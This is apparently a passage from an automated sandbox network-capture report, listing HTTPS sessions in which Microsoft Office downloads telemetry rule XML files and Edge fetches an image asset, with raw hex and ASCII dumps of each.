fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-22 13:43:56 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:55 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:55 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d5b120ed-d01e-0017-3f65-3bb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134355Z-178bfbc474bmqmgjhC1NYCy16c0000000370000000001ry3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:55 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:55 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:55 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134355Z-178bfbc474btrnf9hC1NYCb80g000000034000000000h2ct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:55 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:56 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:56 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134356Z-15b8b599d88wn9hhhC1TEBry0g00000001eg00000000gd41 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:56 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:55 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:56 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134356Z-178bfbc474bwh9gmhC1NYCy3rs000000032g00000000e9hs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:56 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:55 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:56 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5556881b-d01e-008e-6531-3c387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134356Z-178bfbc474bp8mkvhC1NYCzqnn00000002xg0000000080tu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:56 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:57 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:58 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:58 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 6b04d5e8-e01e-000c-65ad-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134358Z-174c587ffdf8lw6dhC1TEBkgs800000001dg00000000gxk3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 13:43:58 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:57 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:58 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134358Z-174c587ffdfdwxdvhC1TEB1c4n00000001a000000000n21d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:58 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:57 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:58 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134358Z-174c587ffdfks6tlhC1TEBeza400000001ng000000005fhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:58 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:58 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:58 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:58 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134358Z-178bfbc474bv7whqhC1NYC1fg400000002z000000000gksw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 13:43:58 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:58 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:58 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134358Z-178bfbc474bv587zhC1NYCny5w00000002z0000000005zvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:58 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49900	13.107.246.40	443	7476	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:59 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 13:43:59 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:59 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: c3c5576e-901e-0040-0be4-3c41e9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T134359Z-174c587ffdfdwxdvhC1TEB1c4n00000001b000000000hbua Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
